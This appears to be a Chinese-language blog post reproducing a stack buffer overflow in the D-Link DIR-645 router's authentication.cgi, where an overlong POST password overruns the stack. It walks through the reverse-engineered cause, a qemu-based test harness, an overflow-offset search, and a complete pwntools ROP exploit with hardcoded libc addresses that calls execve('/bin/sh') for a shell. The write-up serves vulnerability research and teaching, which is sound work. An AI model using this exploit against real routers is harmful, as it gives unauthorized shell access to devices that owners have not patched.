路由器学习之D-Link DIR-645溢出漏洞复现

官方漏洞信息分析

官方POC

大概阅读一下得知漏洞存在于在cgi文件中处理http请求时POST的参数中的password。当password很长的时候并没有进行检查,导致缓冲区溢出。

漏洞分析

我们看到漏洞组件authentication.cgi指向一个/htdocs/cgibin的符号链接,也就是说真正的漏洞代码在cgibin中

逆向分析后定位漏洞存在的位置如下:

没有对content_length的大小进行检查,就直接通过read函数来处理,读入该大小的数据到栈中。那么如果我们输入足够大的size,同时又输入足够多的数据,那么必定会造成栈溢出。

超过0x408大小即可发生溢出。

漏洞测试

bash脚本


#!/bin/bash

# 待执行命令
# sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*1160"` "uid=A21G"

INPUT="$1" # 参数1,uid=A21G&password=1160个A
TEST="$2"    # 参数2,uid=A21G
LEN=$(echo -n "$INPUT" | wc -c)    # 参数1的长度
PORT="1234"    # 监听的调试端口

# 用法错误则提示
if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
    echo -e "\nUsage: sudo $0 \n"
    exit 1
fi

# 复制qemu-mipsel-static到本目录并重命名,注意是static版本
cp $(which qemu-mipsel-static) ./qemu
echo $TEST
# | 管道符:前者输出作为后者输入
# chroot 将某目录设置为根目录(逻辑上的)
echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E REQUEST_URI="/authentication.cgi" -E REMOTE_ADDR="192.168.1.1" -g $PORT /htdocs/web/authentication.cgi
echo 'run ok'
rm -f ./qemu    # 删除拷贝过来的执行文件

测试:

sudo ./test.sh `python -c "print 'uid=1234&password='+'A'*1160"` "uid=1234"

溢出offset定位

利用脚本patternLocOffset.py创建1160个随机字符

python patternLocOffset.py -c -l 1160 -f test

这样我们需要从test获取payload:

找到offset

sudo ./test.sh `python -c "print 'uid=1234&password='+open('test','r').read(1160)"` "uid=1234"

找到溢出偏移为1050,那么后续就简单了,只需要进行rop既可。

漏洞利用

利用gadgets:

# .text:0004C138 move    $a0, $s2
# .text:0004C13C move    $t9, $s0
# .text:0004C140 jalr    $t9 ; strco

来赋值第一个参数并跳转执行execve函数

最后执行execve(“/bin/sh”)

exp

#!/usr/bin/python
from pwn import *
context.endian="little"
context.arch="mips"

libc_base = 0x7f738000
execve = 0xae90
binsh_addr = 0x5a448

magic = 0x4c138
# .text:0004C138 move    $a0, $s2
# .text:0004C13C move    $t9, $s0
# .text:0004C140 jalr    $t9 ; strco

payload = "a"*(1050-36)
payload+= p32(execve+libc_base)  # s0
payload+= "a"*4  # s1
payload+= p32(binsh_addr+libc_base)  # s2
payload+= "a"*4  # s3
payload+= "a"*4  # s4
payload+= "a"*4  # s5
payload+= "a"*4  # s6
payload+= "a"*4  # s7
payload+= "a"*4  # fp
payload+= p32(magic+libc_base)


with open("payload1",'wb') as f:
    f.write(payload)
f.close()

 Previous
Vigor2960 CVE-2020-14472/14473 Vigor2960 CVE-2020-14472/14473
[toc] 背景产品介绍Vigor 2960 是一款企业级的VPN管理中心,通过灵活、可靠以及高性能的LAN to LAN和远程接入方案,为客户的商务活动提供了安全保障,同时也节省了成本,价格太贵就没考虑完整复现了。 提取文件系统利用ubi
2021-01-20
Next 
TSCTF-2020-HelloWin TSCTF-2020-HelloWin
[toc] 保护机制分析 常见的几个保护都开启了。 IDA分析主函数: 在进入菜单题目之前有个格式化字符串: 但是跟常规的好像不太一样,通过测试发现的确是格式化字符串: 后面是一个常规的菜单题目,create、delete、show
  TOC